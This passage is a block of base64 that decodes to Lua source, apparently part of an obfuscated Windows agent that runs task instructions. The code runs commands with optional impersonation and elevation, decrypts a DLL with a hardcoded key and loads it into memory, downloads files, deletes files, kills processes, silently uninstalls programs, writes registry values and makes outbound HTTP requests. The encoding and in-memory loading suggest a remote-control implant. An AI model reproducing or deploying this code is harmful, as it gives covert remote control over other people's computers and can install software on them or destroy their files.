bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
